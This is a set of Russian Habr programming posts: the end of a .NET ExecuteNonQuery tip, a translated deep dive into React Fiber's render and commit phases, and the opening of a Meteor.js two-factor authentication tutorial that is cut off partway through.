А дальше автозаменой по проекту ExecuteNonQuery на ExecuteNonQueryExt и бинго! Все завелось и полетело. :-)
Возможно и есть какой-то более безболезненный способ выполнить этот переход, не переписывая половину проекта, но на форумах решение найти не получилось. Хотя грабли довольно старые и многие наступили на них еще в момент выхода 11й версии. | https://habr.com/ru/post/240427/ | null | ru | null |
# Fiber изнутри: Обновления состояния и пропсов в React
В этой статье используется базовая компоновка с родительским и дочерними компонентами для демонстрации внутренних процессов архитектуры Fiber, на которую опирается React для передачи пропсов в дочерние компоненты.
---
Предыдущая статья серии (ссылка на перевод) - [Fiber изнутри: Погружение в новый алгоритм согласования React](https://habr.com/ru/post/662549/)
Содержание:
* [Введение](#f1)
* [Планирование обновлений](#f2)
* [Обработка обновлений fiber-узла ClickCounter](#f3)
* [beginWork](#f4)
* [Обработка обновлений fiber-узла ClickCounter](#f5)
* [Согласование дочерних элементов fiber-узла ClickCounter](#f6)
* [Обработка обновлений fiber-узла ClickCounter](#f7)
* [Согласование дочерних элементов fiber-узла ClickCounter](#f8)
* [Завершение работы для fiber-узла span](#f9)
* [Effects list (список эффектов)](#f10)
* [Commit фаза](#f11)
* [Применение эффектов](#f12)
* [Обновления DOM](#f14)
* [Вызов хуков жизненного цикла после мутации](#f15)
---
Введение
--------
В своей предыдущей статье [Fiber изнутри: погружение в новый алгоритм согласования React](https://habr.com/ru/post/662549/) я заложил фундамент, необходимый для понимания технических деталей процесса обновления, который я опишу в этой статье.
Там я описал основные структуры данных и концепции, которые я буду использовать в текущей статье, в частности fiber-узлы, текущее и work in progress деревья, побочные эффекты и список эффектов. Я также представил высокоуровневый обзор основного алгоритма и объяснил разницу между фазами `render` и `commit`. Если вы еще не читали ту статью, я рекомендую вам начать с нее.
Я также познакомил вас с примером приложения с кнопкой, которая просто увеличивает число, отображаемое на экране:
Вы можете поиграть с этим примером [здесь](https://stackblitz.com/edit/react-jwqn64). Он реализован как простой компонент, который возвращает два дочерних элемента `button` и `span` из метода `render`. Когда вы нажимаете на кнопку, состояние компонента обновляется внутри обработчика. Это приводит к обновлению текста элемента `span`:
```
class ClickCounter extends React.Component {
constructor(props) {
super(props);
this.state = {count: 0};
this.handleClick = this.handleClick.bind(this);
}
handleClick() {
this.setState((state) => {
return {count: state.count + 1};
});
}
componentDidUpdate() {}
render() {
return [
Update counter,
{this.state.count}
]
}
}
```
Здесь я также добавил метод жизненного цикла `componentDidUpdate` к компоненту. Это необходимо для демонстрации того, как React добавляет [effects](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e) для вызова этого метода на этапе `commit`.
В этой статье я хочу показать вам, как React обрабатывает обновления состояния и строит список эффектов. Мы рассмотрим, что происходит в высокоуровневых функциях в фазах `render` и `commit`.
В частности, мы увидим, как в [completeWork](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberCompleteWork.js#L532) React:
* обновляет свойство `count` в `state` компонента `ClickCounter`
* вызывает метод `render` для получения списка дочерних элементов и выполняет сравнение
* обновляет props элемента `span`.
И как [commitRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L523) React:
* обновляет свойство `textContent` элемента `span`
* вызывает метод жизненного цикла `componentDidUpdate`.
Но перед этим давайте быстро посмотрим, как планируется работа, когда мы вызываем `setState` в обработчике клика.
**Обратите внимание, что вам не нужно знать ничего из этого, чтобы использовать React. Эта статья о том, как React работает внутри.**
Планирование обновлений
-----------------------
Когда мы нажимаем на кнопку, срабатывает событие `click`, и React выполняет обратный вызов, который мы передаем в пропсе кнопки. В нашем приложении он просто увеличивает счетчик и обновляет состояние:
```
class ClickCounter extends React.Component {
...
handleClick() {
this.setState((state) => {
return {count: state.count + 1};
});
}
}
```
Каждый React компонент имеет связанный с ним `updater`, который действует как мост между компонентами и ядром React. Это позволяет реализовать `setState` по-разному в ReactDOM, React Native, рендеринге на стороне сервера и утилитах тестирования.
В этой статье мы рассмотрим реализацию объекта updater в ReactDOM, который использует Fiber reconciler. Для компонента `ClickCounter` это [classComponentUpdater](https://github.com/facebook/react/blob/6938dcaacbffb901df27782b7821836961a5b68d/packages/react-reconciler/src/ReactFiberClassComponent.js#L186). Он отвечает за получение экземпляра Fiber, постановку обновлений в очередь и планирование работы.
Когда обновления ставятся в очередь, они, по сути, просто добавляются в очередь обновлений для обработки на Fiber узле. В нашем случае [Fiber узел](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e), соответствующий компоненту `ClickCounter`, будет иметь следующую структуру:
```
{
stateNode: new ClickCounter,
type: ClickCounter,
updateQueue: {
baseState: {count: 0}
firstUpdate: {
next: {
payload: (state) => { return {count: state.count + 1} }
}
},
...
},
...
}
```
Как вы видите, функция в `updateQueue.firstUpdate.next.payload` - это обратный вызов, который мы передали в `setState` в компоненте `ClickCounter`. Он представляет первое обновление, которое должно быть обработано на этапе `render`.
Обработка обновлений fiber-узла ClickCounter
--------------------------------------------
[Глава о цикле работы](https://indepth.dev/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react/) в моей предыдущей статье объясняет роль глобальной переменной `nextUnitOfWork`. В частности, там говорится, что эта переменная хранит ссылку на fiber-узел из `workInProgress` дерева, которому предстоит выполнить определенную работу. Когда React обходит fiber-дерево, он использует эту переменную, чтобы узнать, есть ли еще какой-нибудь fiber-узел с незавершенной работой.
Начнем с предположения, что метод `setState` был вызван. React добавляет обратный вызов из `setState` в `updateQueue` на fiber-узле `ClickCounter` и планирует работу. React вступает в фазу `render`. Он начинает обход с самого верхнего fiber-узла `HostRoot`, используя функцию [renderRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L1132). Однако он обходит (пропускает) уже обработанные узлы Fiber, пока не найдет узел с незавершенной работой. На данный момент есть только один fiber-узел, над которым еще нужно поработать. Это fiber-узел `ClickCounter`.
Вся работа, выполненная на клонированной копии этого fiber-узла, сохраняется в поле `alternate`. Если альтернативный узел еще не создан, React создает копию в функции [createWorkInProgress](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-reconciler/src/ReactFiber.js#L326) перед обработкой обновлений. Предположим, что переменная `nextUnitOfWork` содержит ссылку на альтернативный fiber-узел `ClickCounter`.
beginWork
---------
Во-первых, наш fiber попадает в функцию [beginWork](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberBeginWork.js#L1489).
> Поскольку эта функция выполняется для каждого fiber-узла в дереве, это хорошее место для установки точки останова, если вы хотите отладить `render` фазу. Я часто так делаю и проверяю тип fiber-узла, чтобы определить нужный мне узел.
>
>
Функция `beginWork` - это, по сути, большой оператор `switch`, который определяет тип работы, которую необходимо выполнить для fiber-узла с помощью тега (свойство tag), а затем выполняет соответствующую функцию для выполнения этой работы. В случае `CountClicks` это классовый компонент, поэтому будет взята эта ветвь:
```
function beginWork(current$$1, workInProgress, ...) {
...
switch (workInProgress.tag) {
...
case FunctionalComponent: {...}
case ClassComponent:
{
...
return updateClassComponent(current$$1, workInProgress, ...);
}
case HostComponent: {...}
case ...
}
```
и мы попадаем в функцию [updateClassComponent](https://github.com/facebook/react/blob/1034e26fe5e42ba07492a736da7bdf5bf2108bc6/packages/react-reconciler/src/ReactFiberBeginWork.js#L428). В зависимости от того, является ли это первым рендерингом компонента, возобновлением работы или React обновлением, React либо создает экземпляр и монтирует компонент, либо просто обновляет его:
```
function updateClassComponent(current, workInProgress, Component, ...) {
...
const instance = workInProgress.stateNode;
let shouldUpdate;
if (instance === null) {
...
// При первом проходе нам понадобится сконструировать экземпляр
constructClassInstance(workInProgress, Component, ...);
mountClassInstance(workInProgress, Component, ...);
shouldUpdate = true;
} else if (current === null) {
// При возобновлении у нас уже будет экземпляр, который мы можем использовать повторно
shouldUpdate = resumeMountClassInstance(workInProgress, Component, ...);
} else {
shouldUpdate = updateClassInstance(current, workInProgress, ...);
}
return finishClassComponent(current, workInProgress, Component, shouldUpdate, ...);
}
```
Обработка обновлений fiber-узла ClickCounter
--------------------------------------------
У нас уже есть экземпляр компонента `ClickCounter`, поэтому мы попадаем в [updateClassInstance](https://github.com/facebook/react/blob/6938dcaacbffb901df27782b7821836961a5b68d/packages/react-reconciler/src/ReactFiberClassComponent.js#L976). Именно здесь React выполняет большую часть работы для классовых компонентов. Вот наиболее важные операции, выполняемые в функции, в порядке их выполнения:
* вызов хука `UNSAFE_componentWillReceiveProps()` (устарел)
* обработка обновлений в `updateQueue` и генерация нового состояния
* вызов `getDerivedStateFromProps` с этим новым состоянием и получение результата
* вызов `shouldComponentUpdate`, чтобы убедиться, что компонент хочет обновиться; если `false`, пропустить весь процесс рендеринга, включая вызов `render` для этого компонента и его дочерних компонентов; в противном случае продолжить обновление
* вызов `UNSAFE_componentWillUpdate` (устарел)
* добавление эффекта для запуска хука жизненного цикла `componentDidUpdate`
> Хотя эффект вызова `componentDidUpdate` добавлен в `render` фазе, метод будет выполнен в следующей `commit` фазе.
>
>
* обновление `state` и `props` на экземпляре компонента
`state` и `props` должны быть обновлены в экземпляре компонента до вызова метода `render`, поскольку вывод метода `render` обычно зависит от `state` и `props`. Если этого не сделать, то метод будет возвращать один и тот же результат каждый раз.
Вот упрощенная версия функции:
```
function updateClassInstance(current, workInProgress, ctor, newProps, ...) {
const instance = workInProgress.stateNode;
const oldProps = workInProgress.memoizedProps;
instance.props = oldProps;
if (oldProps !== newProps) {
callComponentWillReceiveProps(workInProgress, instance, newProps, ...);
}
let updateQueue = workInProgress.updateQueue;
if (updateQueue !== null) {
processUpdateQueue(workInProgress, updateQueue, ...);
newState = workInProgress.memoizedState;
}
applyDerivedStateFromProps(workInProgress, ...);
newState = workInProgress.memoizedState;
const shouldUpdate = checkShouldComponentUpdate(workInProgress, ctor, ...);
if (shouldUpdate) {
instance.componentWillUpdate(newProps, newState, nextContext);
workInProgress.effectTag |= Update;
workInProgress.effectTag |= Snapshot;
}
instance.props = newProps;
instance.state = newState;
return shouldUpdate;
}
```
Я удалил некоторый вспомогательный код в приведенном выше фрагменте. Например, прежде чем вызывать методы жизненного цикла или добавлять эффекты для их запуска, React проверяет, реализует ли компонент метод с помощью оператора `typeof`. Вот, например, как React проверяет наличие метода `componentDidUpdate` перед добавлением эффекта:
```
if (typeof instance.componentDidUpdate === 'function') {
workInProgress.effectTag |= Update;
}
```
Итак, теперь мы знаем, какие операции выполняются для fiber-узла компонента `ClickCounter` на render фазе. Давайте теперь посмотрим, как эти операции изменяют значения на fiber-узлах. Когда React начинает работу, fiber-узел компонента `ClickCounter` выглядит следующим образом:
```
{
effectTag: 0,
elementType: class ClickCounter,
firstEffect: null,
memoizedState: {count: 0},
type: class ClickCounter,
stateNode: {
state: {count: 0}
},
updateQueue: {
baseState: {count: 0},
firstUpdate: {
next: {
payload: (state, props) => {…}
}
},
...
}
}
```
После завершения работы мы получаем fiber-узел, который выглядит следующим образом:
```
{
effectTag: 4,
elementType: class ClickCounter,
firstEffect: null,
memoizedState: {count: 1},
type: class ClickCounter,
stateNode: {
state: {count: 1}
},
updateQueue: {
baseState: {count: 1},
firstUpdate: null,
...
}
}
```
*Обратите внимание на различия в значениях свойств*.
После применения обновления значение свойства `count` изменяется на `1` в `memoizedState` и `baseState` в `updateQueue`. React также обновил состояние в экземпляре компонента `ClickCounter`.
На данный момент у нас больше нет обновлений в очереди, поэтому `firstUpdate` равно `null`. И что важно, у нас есть изменения в свойстве `effectTag`. Оно больше не `0`, его значение `4`. В двоичном формате это `100`, что означает, что установлен третий бит, который как раз и является битом для `Update` [side-effect tag](https://github.com/facebook/react/blob/b87aabdfe1b7461e7331abb3601d9e6bb27544bc/packages/shared/ReactSideEffectTags.js):
```
export const Update = 0b00000000100;
```
Итак, в заключение, при работе над родительским fiber-узлом `ClickCounter`, React вызывает методы жизненного цикла премутации, обновляет состояние и определяет соответствующие побочные эффекты.
Согласование дочерних элементов fiber-узла ClickCounter
-------------------------------------------------------
После этого React приступает к [finishClassComponent](https://github.com/facebook/react/blob/340bfd9393e8173adca5380e6587e1ea1a23cefa/packages/react-reconciler/src/ReactFiberBeginWork.js#L355). Здесь React вызывает метод `render` на экземпляре компонента и применяет свой алгоритм диффинга (сравнения) к дочерним элементам, возвращаемым компонентом. Высокоуровневый обзор описан [в документации](https://reactjs.org/docs/reconciliation.html#the-diffing-algorithm). Вот соответствующая часть:
> При сравнении двух элементов React DOM одного типа, React просматривает атрибуты обоих, сохраняет один и тот же базовый узел DOM и обновляет только измененные атрибуты.
>
>
Однако если копнуть глубже, то можно узнать, что на самом деле сравниваются fiber-узлы с React-элементами. Но я не буду сейчас вдаваться в подробности, поскольку процесс довольно сложный. Я напишу отдельную статью, которая будет посвящена именно процессу согласования дочерних элементов.
> Если вам не терпится узнать подробности самостоятельно, ознакомьтесь с функцией reconcileChildrenArray, поскольку в нашем приложении метод `render` возвращает массив React элементов.
>
>
На этом этапе важно понять две вещи. **Во-первых**, когда React проходит через процесс согласования дочерних элементов, **он создает или обновляет узлы Fiber для дочерних элементов React**, возвращенных из метода `render`. Функция `finishClassComponent` возвращает ссылку на первого ребенка текущего узла Fiber. Она будет присвоена `nextUnitOfWork` и обработана позже в цикле работ. **Во-вторых**, React **обновляет пропсы дочерних компонентов** в рамках работы, выполняемой для родителя. Для этого он использует данные из элементов React, возвращаемых из метода `render`.
Например, вот как выглядит fiber-узел, соответствующий элементу `span`, до того, как React выверит дочерние элементы для fiber-узла `ClickCounter`:
```
{
stateNode: new HTMLSpanElement,
type: "span",
key: "2",
memoizedProps: {children: 0},
pendingProps: {children: 0},
...
}
```
Как вы можете видеть, свойство `children` в обоих `memoizedProps` и `pendingProps` равно `0`. Вот структура элемента React, возвращаемого из `render` для элемента `span`:
```
{
$$typeof: Symbol(react.element)
key: "2"
props: {children: 1}
ref: null
type: "span"
}
```
Как вы можете видеть, **есть разница между пропсами** в fiber-узле и возвращаемым React-элементом. Внутри функции [**createWorkInProgress**](https://github.com/facebook/react/blob/769b1f270e1251d9dbdce0fcbd9e92e502d059b8/packages/react-reconciler/src/ReactFiber.js#L326)**`**, которая используется для создания альтернативных fiber-узлов, **React скопирует обновленные свойства из элемента React в fiber-узел**.
Таким образом, после того как React завершит сверку дочерних элементов для компонента `ClickCounter`, fiber-узел `span` получит обновленные `pendingProps`. Они будут соответствовать значению в элементе `span` React:
```
{
stateNode: new HTMLSpanElement,
type: "span",
key: "2",
memoizedProps: {children: 0},
pendingProps: {children: 1},
...
}
```
Позже, когда React будет выполнять работу для fiber-узла `span`, он скопирует их в `memoizedProps` и добавит эффекты для обновления DOM.
Вот и вся работа, которую React выполняет для fiber-узла `ClickCounter` на этапе render. Поскольку кнопка является первым дочерним компонентом `ClickCounter`, она будет назначена переменной `nextUnitOfWork`. С ней ничего нельзя сделать, поэтому React перейдет к ее сиблингу, которым является fiber-узел `span`. Согласно алгоритму [описанному здесь](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e), это происходит в функции `completeUnitOfWork`.
Обработка обновлений для fiber-узла span
----------------------------------------
Итак, переменная `nextUnitOfWork` теперь указывает на альтернативу fiber-узла `span`, и React начинает работать над ним. Аналогично шагам, выполненным для `ClickCounter`, мы начинаем с функции [beginWork](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberBeginWork.js#L1489).
Поскольку наш узел `span` имеет тип `HostComponent`, на этот раз в операторе switch React берет эту ветвь:
```
function beginWork(current$$1, workInProgress, ...) {
...
switch (workInProgress.tag) {
case FunctionalComponent: {...}
case ClassComponent: {...}
case HostComponent:
return updateHostComponent(current, workInProgress, ...);
case ...
}
```
и попадает в функцию [updateHostComponent](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberBeginWork.js#L686). Вы можете увидеть параллель с функцией `updateClassComponent`, вызываемой для компонентов класса. Для функционального компонента это будет `updateFunctionComponent` и так далее. Все эти функции вы можете найти в файле [ReactFiberBeginWork.js](https://github.com/facebook/react/blob/1034e26fe5e42ba07492a736da7bdf5bf2108bc6/packages/react-reconciler/src/ReactFiberBeginWork.js).
Согласование дочерних элементов для fiber-узла span
---------------------------------------------------
В нашем случае для fiber-узла `span` в `updateHostComponent` не происходит ничего важного.
Завершение работы для fiber-узла span
-------------------------------------
После завершения `beginWork` узел попадает в функцию `completeWork`. Но перед этим React необходимо обновить `memoizedProps` на fiber-узле span. Вы можете помнить, что при согласовании дочерних элементов для компонента `ClickCounter`, React обновил `pendingProps` у fiber-узла `span`:
```
{
stateNode: new HTMLSpanElement,
type: "span",
key: "2",
memoizedProps: {children: 0},
pendingProps: {children: 1},
...
}
```
Поэтому, как только `beginWork` завершается для fiber-узла `span`, React обновляет `pendingProps` для соответствия `memoizedProps`:
```
function performUnitOfWork(workInProgress) {
...
next = beginWork(current$$1, workInProgress, nextRenderExpirationTime);
workInProgress.memoizedProps = workInProgress.pendingProps;
...
}
```
Затем он вызывает функцию `completeWork`, которая по сути является большим оператором `switch`, подобным тому, который мы видели в `beginWork`:
```
function completeWork(current, workInProgress, ...) {
...
switch (workInProgress.tag) {
case FunctionComponent: {...}
case ClassComponent: {...}
case HostComponent: {
...
updateHostComponent(current, workInProgress, ...);
}
case ...
}
}
```
Поскольку наш fiber-узел `span` является `HostComponent`, он запускает функцию [updateHostComponent](https://github.com/facebook/react/blob/cbbc2b6c4d0d8519145560bd8183ecde55168b12/packages/react-reconciler/src/ReactFiberBeginWork.js#L686). В этой функции React в основном делает следующее:
* подготавливает обновления DOM
* добавляет их в `updateQueue` fiber-узла `span`
* добавляет эффект для обновления DOM
До выполнения этих операций fiber-узел `span` выглядит следующим образом:
```
{
stateNode: new HTMLSpanElement,
type: "span",
effectTag: 0
updateQueue: null
...
}
```
и когда работа завершена, это выглядит следующим образом:
```
{
stateNode: new HTMLSpanElement,
type: "span",
effectTag: 4,
updateQueue: ["children", "1"],
...
}
```
Обратите внимание на разницу в полях `effectTag` и `updateQueue`. Теперь это не `0`, а `4`. В двоичном формате это `100`, что означает, что установлен третий бит, который как раз и является битом для тега побочного эффекта `Update`. Это единственная работа, которую React должен выполнить для этого узла во время следующей фазы commit. В поле `updateQueue` хранится полезная нагрузка, которая будет использована для обновления.
Как только React обработает `ClickCounter` и его дочерние узлы, он завершает фазу `render`. Теперь он может назначить завершенное альтернативное дерево свойству `finishedWork` у `FiberRoot`. Это новое дерево, которое должно быть выведено на экран. Оно может быть обработано сразу после фазы `render` или получено позже, когда браузер предоставит React время.
Effects list (список эффектов)
------------------------------
В нашем случае, поскольку узел `span` и компонент `ClickCounter` имеют побочные эффекты, React добавит ссылку на fiber-узел `span` в свойство `firstEffect` компонента `HostFiber`.
React строит список эффектов в функции [compliteUnitOfWork](https://github.com/facebook/react/blob/d5e1bf07d086e4fc1998653331adecddcd0f5274/packages/react-reconciler/src/ReactFiberScheduler.js#L999). Вот как выглядит дерево Fiber с эффектами для обновления текста узла `span` и вызовами хуков на `ClickCounter`:
А вот линейный список узлов с эффектами:
Commit фаза
-----------
Эта фаза начинается с функции [completeRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L2306). Прежде чем приступить к работе, она устанавливает свойство `finishedWork` для `FiberRoot` в `null`:
```
root.finishedWork = null;
```
В отличие от первой фазы `render`, фаза `commit` всегда синхронна, поэтому она может безопасно обновить `HostRoot`, чтобы указать, что работа по фиксации изменений началась.
На фазе `commit` React обновляет DOM и вызывает метод жизненного цикла постмутации `componentDidUpdate`. Для этого он просматривает список эффектов, составленный во время предыдущей фазы `render`, и применяет их.
У нас есть следующие эффекты, определенные в фазе `render` для наших узлов `span` и `ClickCounter`:
```
{ type: ClickCounter, effectTag: 5 }
{ type: 'span', effectTag: 4 }
```
Значение тега эффекта для `ClickCounter` равно `5` \*\*\*\* или `101` в двоичном виде и определяет работу `Update` , которая в основном транслируется в метод жизненного цикла `componentDidUpdate` в случае классовых компонентов. Наименьший значащий бит также устанавливается, чтобы сигнализировать, что вся работа была завершена для этого fiber-узла в фазе `render`.
Значение тега эффекта для `span` равно `4` или `100` в двоичном формате и определяет работу `update` для обновления DOM компонента узла. В случае элемента `span`, React должен будет обновить `textContent` у элемента.
Применение эффектов
-------------------
Давайте посмотрим, как React применяет эти эффекты. Функция [commitRoot](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L523), которая используется для применения эффектов, состоит из 3 подфункций:
```
function commitRoot(root, finishedWork) {
commitBeforeMutationLifecycles()
commitAllHostEffects();
root.current = finishedWork;
commitAllLifeCycles();
}
```
Каждая из этих подфункций реализует цикл, который итерирует список эффектов и проверяет их типы. Когда он находит эффект, относящийся к цели функции, он применяет его. В нашем случае она вызовет метод жизненного цикла `componentDidUpdate` для компонента `ClickCounter` и обновит текст элемента `span`.
Первая функция [commitBeforeMutationLifeCycles](https://github.com/facebook/react/blob/fefa1269e2a67fa5ef0992d5cc1d6114b7948b7e/packages/react-reconciler/src/ReactFiberCommitWork.js#L183) ищет эффект [Snapshot](https://github.com/facebook/react/blob/b87aabdfe1b7461e7331abb3601d9e6bb27544bc/packages/shared/ReactSideEffectTags.js#L25) и вызывает метод `getSnapshotBeforeUpdate`. Но, поскольку мы не реализовали метод на компоненте `ClickCounter`, React не добавил эффект на этапе `render`. Поэтому в нашем случае эта функция ничего не делает.
Обновления DOM
--------------
Далее React переходит к функции [commitAllHostEffects](https://github.com/facebook/react/blob/95a313ec0b957f71798a69d8e83408f40e76765b/packages/react-reconciler/src/ReactFiberScheduler.js#L376). Здесь React изменит текст на элементе `span` с `0` на `1`. Для fiber-узла `ClickCounter` ничего делать не нужно, потому что узлы, соответствующие классовым компонентам, не имеют никаких обновлений DOM.
Суть функции в том, что она выбирает нужный тип эффекта и применяет соответствующие операции. В нашем случае нам нужно обновить текст на элементе `span`, поэтому здесь мы берем ветвь `Update`:
```
function updateHostEffects() {
switch (primaryEffectTag) {
case Placement: {...}
case PlacementAndUpdate: {...}
case Update:
{
var current = nextEffect.alternate;
commitWork(current, nextEffect);
break;
}
case Deletion: {...}
}
}
```
Спустившись в `commitWork`, мы в конечном итоге попадем в функцию [updateDOMProperties](https://github.com/facebook/react/blob/8a8d973d3cc5623676a84f87af66ef9259c3937c/packages/react-dom/src/client/ReactDOMComponent.js#L326). Она принимает полезную нагрузку `updateQueue`, которая была добавлена на этапе `render` к узлу Fiber, и обновляет свойство `textContent` элемента `span`:
```
function updateDOMProperties(domElement, updatePayload, ...) {
for (let i = 0; i < updatePayload.length; i += 2) {
const propKey = updatePayload[i];
const propValue = updatePayload[i + 1];
if (propKey === STYLE) { ...}
else if (propKey === DANGEROUSLY_SET_INNER_HTML) {...}
else if (propKey === CHILDREN) {
setTextContent(domElement, propValue);
} else {...}
}
}
```
После выполнения обновлений DOM, React присваивает дерево `finishedWork` в `HostRoot`. Это устанавливает альтернативное дерево в качестве текущего:
```
root.current = finishedWork;
```
Вызов хуков жизненного цикла после мутации
------------------------------------------
Последняя оставшаяся функция - [**commitAllLifecycles**](https://github.com/facebook/react/blob/d5e1bf07d086e4fc1998653331adecddcd0f5274/packages/react-reconciler/src/ReactFiberScheduler.js#L479). Здесь React вызывает методы жизненного цикла после мутации. Во время фазы `render` React добавил эффект `Update` к компоненту `ClickCounter`. Это один из эффектов, который ищет функция `commitAllLifecycles` и вызывает метод `componentDidUpdate`:
```
function commitAllLifeCycles(finishedRoot, ...) {
while (nextEffect !== null) {
const effectTag = nextEffect.effectTag;
if (effectTag & (Update | Callback)) {
const current = nextEffect.alternate;
commitLifeCycles(finishedRoot, current, nextEffect, ...);
}
if (effectTag & Ref) {
commitAttachRef(nextEffect);
}
nextEffect = nextEffect.nextEffect;
}
}
```
Функция также обновляет [refs](https://reactjs.org/docs/refs-and-the-dom.html), но поскольку у нас их нет, эта функциональность не будет использоваться. Метод вызывается в функции [commitLifeCycles](https://github.com/facebook/react/blob/e58ecda9a2381735f2c326ee99a1ffa6486321ab/packages/react-reconciler/src/ReactFiberCommitWork.js#L351):
```
function commitLifeCycles(finishedRoot, current, ...) {
...
switch (finishedWork.tag) {
case FunctionComponent: {...}
case ClassComponent: {
const instance = finishedWork.stateNode;
if (finishedWork.effectTag & Update) {
if (current === null) {
instance.componentDidMount();
} else {
...
instance.componentDidUpdate(prevProps, prevState, ...);
}
}
}
case HostComponent: {...}
case ...
}
```
Вы также можете видеть, что в этой функции React вызывает метод `componentDidMount` для компонентов, которые были отрендерены в первый раз.
---
Предыдущая статья серии (ссылка на перевод) - [Fiber изнутри: Погружение в новый алгоритм согласования React](https://habr.com/ru/post/662549/) | https://habr.com/ru/post/663792/ | null | ru | null |
# Двух-факторная аутентификация в Meteor.js
В течение какого-то времени мне довелось работать в стартапе. В качестве бэк-энда (и фронт-энда) мы использовали Meteor.js. В какой-то момент мы столкнулись с необходимостью реализации двух-факторной аутентификации. В этой статье я бы хотел рассказать т том, как реализовать эту фичу в Meteor.js.
Под катом вы не найдете ни одного скриншота/картинки, зато увидите весь код, необходимый для реализации.
Вступление
----------
В нашем случае вторым фактором был код в смс-сообщении, отправляемом через Twilio. Многие из вас будут восклицать, что второй фактор в виде смс-сообщения — это расточительно и глупо. Эта реализация TFA может использовать любой второй фактор. На мой взгляд, было бы идеально оформить их (вторые факторы) как стратегии и подключать по необходимости, но до этого я так и не добрался. Сосредоточусь именно на реализации функционала на платформе Meteor.js.
Я реализовал классический подход, в котором при успешном вводе первого фактора открывается ограниченная по времени сессия, которую можно завершить вводом второго фактора.
Пакет Meteor Accounts не имеет способов приостановки аутентификации, а нам нужна эта пауза для того, чтобы сгенерировать код, отправить его и дать пользователю время на ввод. Поэтому нам придется отказаться от стандартного метода **Meteor.loginWithPassword** и использовать метод **Meteor.loginWithToken**, которого нет в документации. Этот метод позволяет пользователю аутентифицироваться в системе с использованием уже сгенерированного и сохраненного в MongoDB токена.
Ход действий
------------
По шагам:
1. Заменяем весь процесс аутентификации нашим Meteor методом, который назовем **LoginProcedure**;
2. Валидация первого фактора и всяческие проверки;
3. Генерируем второй фактор — код, и отправляем его с помощью Twilio — этот шаг можно заменить на любой способ генерации второго фактора и его доставки;
4. Сохраняем код и другие данные в отдельную коллекцию MongoDB, которая будет хранить открытые сессии аутентификации;
5. Вернем промежуточный результат, по которому клиент потребует от пользователя ввод второго фактора;
6. Получение и проверка второго фактора;
7. Генерация нового токена, возвращаем его клиенту;
8. Клиент автоматически выполняет **loginWithToken** с полученным токеном;
Шаги 1-2
--------
Использовать свой Meteor метод для аутентификации просто, но как запретить пользователям использовать стандартный **loginWithPassword**?
Есть метод **Accounts.validateLoginAttempt**, который должен «одобрить» каждую операцию аутентификации. Аргументом туда попадает объект **attempt**, в котором нас интересуют атрибуты **methodName** и **type**. Для метода **loginWithToken** эти атрибуты будут иметь значения **login** и **resume** соответственно. И если мы хотим допустить аутентификацию после подтверждения аккаунта по e-mail и после восстановления пароля, то нужно также «одобрить» дополнительные значения **methodName**. В итоге получится следующий метод:
```
Accounts.validateLoginAttempt(function(attempt){
var allowed = [
'login',
'verifyEmail',
'resetPassword'
];
if (_.contains(allowed, attempt.methodName) && attempt.type == 'resume'){
return true;
}
return false;
});
```
Сразу напишем функции для генерации нового токена. Эти функции также будут использовать пару методов, не попавших в документацию. А вот и код:
```
var generateLoginToken = function(){
var stampedToken = Accounts._generateStampedLoginToken();
return [
stampedToken,
Accounts._hashStampedToken(stampedToken)
];
};
var saveLoginToken = function(userId){
return Meteor.wrapAsync(function(userId, tokens, cb){
// In tokens array first is stamped, second is hashed
// Save hashed to Mongo
Meteor.users.update(userId, {
$push: {
'services.resume.loginTokens': tokens[1]
}
}, function(error){
if (error){
cb(new Meteor.Error(500, 'Couldnt save login token into user profile'));
}else{
// Return stamped to user
cb && cb(null, [200,tokens[0].token]);
}
});
})(userId, generateLoginToken());
};
```
Метод **Accounts.\_generateStampedLoginToken** возвращает новый токен, который должен быть возвращен на клиент для того, чтобы в дальнейшем выполнить метод **loginWithToken**. Метод **Accounts.\_hashStampedToken** хэширует токен, и именно в хэшированной виде мы должны сохранить его в MongoDB.
Самое время вернуться к нашему Meteor методу. А вот и код, пояснения после:
```
Meteor.methods({
'LoginProcedure': function(username, pswdDigest, code, hash){
//Here perform some checks
//I'll leave it up to you
//Something to prevent NoSQL-Injections etc.
...
//Now check if user already exists
var user = Meteor.users.findOne({
'$or': [
{
'username': username
},
{
'emails.address': username
}
]
});
if (!user)
throw new Meteor.Error(404, 'fail');
//Now password checks
//Explanations about this are right after the code
var password = {digest: pswdDigest, algorithm: 'sha-256'};
var pswdCheck = Accounts._checkPassword(user, password);
if (pswdCheck.error)
throw new Meteor.Error(403,'fail');
//Next check if two-factor is enabled
//If it's not, just generate token and return it
//Else start the procedure...
if (!user.twoFactorEnabled){
//Use function defined above
return saveLoginToken(user._id);
}else{
//Step 3-7
...
}
}
});
```
Как видите, еще один метод, не описанный в документации.
Так как мы проводим всю аутентификацию вручную, то и пароль проверять тоже нам вручную. А проблема кроется в том, что мы не знаем, каким образом Meteor их хэширует. Как раз для этого и используется метод **Accouts.\_checkPassword**. Как аргументы ему передаются запись пользователя, полученная ранее из MongoDB, и еще один объект, содержащий хэш пароля пользователя и метод хэширования. Это всегда sha-256.
